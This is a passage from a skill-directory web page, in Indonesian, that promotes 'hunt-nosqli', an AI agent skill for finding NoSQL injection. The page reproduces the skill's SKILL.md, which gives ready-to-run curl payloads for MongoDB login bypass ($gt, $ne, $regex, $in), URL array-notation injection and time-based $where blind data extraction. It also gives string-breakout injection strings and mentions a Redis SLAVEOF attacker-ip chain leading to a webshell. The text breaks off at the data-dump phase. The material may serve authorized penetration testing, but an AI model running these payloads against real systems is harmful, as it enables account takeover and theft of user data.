Langsung ke konten
Skillpedia
Database48k Β· #4890

hunt-nosqli

Fungsinya

Tool ini membantu menemukan celah keamanan pada database NoSQL seperti MongoDB. Tool ini mencoba melewati sistem login atau mengambil informasi sensitif.

Kapan dipakai

  • βœ“Saat menguji keamanan website atau aplikasi.
  • βœ“Untuk memeriksa apakah database NoSQL rentan.
  • βœ“Selama penetration test yang resmi.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œCari celah NoSQL injection di example.com”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool ini mengirimkan perintah khusus ke database. Jika database memberikan respons yang tidak wajar, kemungkinan ada celah keamanan.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NOSQLI β€” NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass β€” {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection β€” if $where is enabled: blind injection β†’ data exfil
  • Redis command injection β€” via SSRF or direct TCP, SLAVEOF attacker-ip β†’ config write β†’ webshell
  • Elasticsearch injection β€” _search endpoint with Groovy script injection (pre-5.0) β†’ RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 β€” Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard β€” match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 β€” URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 β€” $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds β†’ $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b β€” Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 β€” Data Dump via Regex

# Enumerate usernames character by character

…
Pertanyaan umum

Apa itu NoSQL injection?

Itu adalah jenis serangan ketika penyerang memasukkan perintah berbahaya ke dalam database NoSQL untuk mendapatkan akses tidak sah atau mencuri data.

Mengapa pengujian ini penting?

Untuk memastikan informasi sensitif pengguna dan sistem terlindungi dari serangan.

Apakah saya perlu izin untuk menggunakan tool ini?

Ya, sangat penting untuk memiliki izin tertulis yang jelas dari pemilik sistem sebelum menggunakan tool ini, karena penggunaan tanpa izin adalah tindakan ilegal.

Detail

Deskripsi asli dari pembuat

Hunt NoSQL Injection

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4890
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa